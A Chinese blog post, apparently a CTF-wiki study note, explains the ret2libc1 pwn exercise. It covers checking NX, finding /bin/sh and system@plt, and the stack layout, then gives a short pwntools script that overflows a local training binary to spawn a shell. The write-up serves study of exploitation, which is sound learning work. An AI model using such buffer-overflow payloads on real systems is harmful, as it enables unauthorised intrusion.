当前位置:网站首页>跟着CTF-wiki学pwn——ret2libc1
跟着CTF-wiki学pwn——ret2libc1
2022-07-05 23:35:00 【大瑞大】
ret2libc
原理
执行libc中的/bin/sh
步骤
首先,检查程序的安全保护
开启NX:no executable
(不可执行内存数据页)
(不能利用ret2text与ret2shellcode)
其次,查看有无/bin/sh
查看有无system (segment是plt,不是extern)
/bin/sh,是一个字符串,需要知道地址。
system, 是一个可调用函数,需要知道地址。
用 system 调用 /bin/sh即可
所以编写payload,寻址方式可以查看之前的博客,同为112。
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
调用libc函数的格式:
system_plt + 4个字节(32位地址) + /bin/sh字符串
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。
边栏推荐
- Bao Yan notebook IV software engineering and calculation volume II (Chapter 8-12)
- Rsync remote synchronization
- STM32__ 06 - single channel ADC
- Part III Verilog enterprise real topic of "Niuke brush Verilog"
- STM32__06—单通道ADC
- 开源crm客户关系统管理系统源码,免费分享
- GFS分布式文件系统
- 有什么不起眼却挣钱的副业?
- Cwaitabletimer timer, used to create timer object access
- el-cascader的使用以及报错解决
猜你喜欢
Data analysis - Thinking foreshadowing
Fiddler Everywhere 3.2.1 Crack
Spire Office 7.5.4 for NET
20.移植Freetype字体库
Research notes I software engineering and calculation volume II (Chapter 1-7)
进击的技术er——自动化
20220703 周赛:知道秘密的人数-动规(题解)
《牛客刷verilog》Part III Verilog企业真题
How to get all the values stored in localstorage
5. Logistic regression
随机推荐
有什么不起眼却挣钱的副业?
Neural structured learning 4 antagonistic learning for image classification
如何获取localStorage中存储的所有值
Introduction to JVM
How to enable relationship view in phpMyAdmin - how to enable relationship view in phpMyAdmin
Convert Chinese into pinyin
Rasa 3.x 学习系列-Rasa X 社区版(免费版) 更改
GFS distributed file system
698. 划分为k个相等的子集 ●●
Xinyuan & Lichuang EDA training camp - brushless motor drive
Spécifications techniques et lignes directrices pour la sélection des tubes TVS et ESD - Recommandation de jialichuang
开关电源Buck电路CCM及DCM工作模式
Différence entre hors bande et en bande
Rsync remote synchronization
动态规划 之 打家劫舍
15 MySQL stored procedures and functions
【LeetCode】5. Valid Palindrome·有效回文
98. Verify the binary search tree ●●
保研笔记一 软件工程与计算卷二(1-7章)
My colleagues quietly told me that flying Book notification can still play like this